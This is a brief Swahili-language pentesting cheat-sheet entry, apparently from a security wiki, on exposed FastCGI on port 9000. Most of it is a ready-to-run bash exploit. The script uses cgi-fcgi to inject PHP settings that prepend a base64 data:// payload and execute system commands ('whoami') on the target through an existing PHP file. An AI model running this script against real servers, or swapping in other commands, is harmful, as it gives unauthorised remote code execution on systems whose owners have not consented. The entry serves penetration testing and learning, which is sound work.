Kwa kawaida FastCGI inafanya kazi kwenye bandari 9000 na haitambuliwi na nmap. Kawaida FastCGI husikiliza tu kwenye localhost.

RCE

Ni rahisi sana kufanya FastCGI kutekeleza msimbo wowote:

#!/bin/bash

PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
FILENAMES="/var/www/public/index.php" # Exisiting file path

HOST=$1
B64=$(echo "$PAYLOAD"|base64)

for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i \
PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT

cat $OUTPUT
done
